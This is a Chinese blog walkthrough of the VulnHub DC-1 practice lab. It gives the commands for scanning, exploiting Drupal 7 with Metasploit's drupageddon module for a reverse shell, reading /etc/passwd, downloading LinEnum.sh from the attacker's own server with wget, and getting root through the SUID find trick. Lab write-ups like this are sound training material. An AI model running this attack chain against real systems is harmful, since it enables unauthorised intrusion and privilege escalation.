vulnhub_DC1靶场复现
前言
最近在家空闲时间增多,遂将vulhub靶场复现记录一番,第一篇文章从DC1开始写起,DC系列靶场在官方描述中属于初级靶场,所以我们先由DC1开始由浅入深。
靶场描述(官网机翻)
DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。
它旨在为初学者带来挑战,但它的难易程度将取决于您的技能和知识以及您的学习能力。
要成功完成此挑战,您将需要Linux技能,熟悉Linux命令行以及基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。
有多种方法可以获得根,但是,我已经包含了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在根的主目录中查找并读取该标志。您甚至不需要是root就可以执行此操作,但是,您将需要root权限。
根据您的技能水平,您可以跳过查找这些标志中的大多数,并直接找到根。
初学者可能会遇到以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需的全部内容。
环境搭建
在官网下载DC1的系统压缩包 https://download.vulnhub.com/dc/DC-1.zip
将压缩包解压后使用vm虚拟机打开,获得一个Linux系统,将虚拟机设置为NAT模式,使其和我们的攻击机在一个局域网环境下。
复现过程
信息收集
1.我们先查看攻击机IP地址和所在局域网掩码。
2.使用nmap对网段攻击机和靶机所在局域网进行扫描,检测存活主机。结果如下图所示,其中抛去网关和攻击机IP可以确定靶机为192.168.211.131
3.对靶机IP进行扫描,从图片中可以看出靶机一共开放三个端口分别是22,80,111。其中80端口运行的cms为drupal 7,我们以此为突破口多靶机进行攻击。
漏洞利用
1.Drupal 7存在多个CVE漏洞,我们先尝试使用msf中所带的exp进行攻击,通过search进行搜索可以看到msf中存在多个Drupal的exp,我们使用横线标注的exp进行攻击
1 | use exploit/multi/http/drupal_drupageddon |
2.使用上面的配置命令成功获得meterpreter的反弹shell,输入shell命令获取linux的shell,如图所示
但是这样的shell存在很大的弊端既不美观用起来也很别扭,所以我们这里使用python语句获取tty
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
使用find命令查询flag,获得flag1.txt。flag1.txt中一句英文,Every good CMS needs a config file - and so do you
说明第二个flag2是在Drupal配置文件当中。这里先放下既然拿到了shell肯定是要看一眼/etc/passwd,然后在etc/passwd发现了点东西
这里竟然存在一个flag4的用户,我们进入到flag4用户下发现flag4.txt,读取flag4.txt。
1 | Can you use this same method to find or access the flag in root? |
这里是让我们读取root目录下的flag,这里就需要用到提权的手段了。我们先收集一波信息看一下系统的版本。我们可以看到靶机系统是Debian 3.2.102-1,在网上检索一下这个版本的提权方法
这里使用LInuEnum进行提权
kali 下载
1 | git clone https://github.com/rebootuser/LinEnum.git |
将LinEnum目录下面的LinEnum.sh放到kali的http服务主目录下,在我们之前获取到的靶机shell下进行下载
1 | wget 192.168.211.130/LinEnum.sh |
执行完毕后得到输入,获得root权限,在root目录下得到最终flag
1 | find . -exec /bin/sh \; -quit |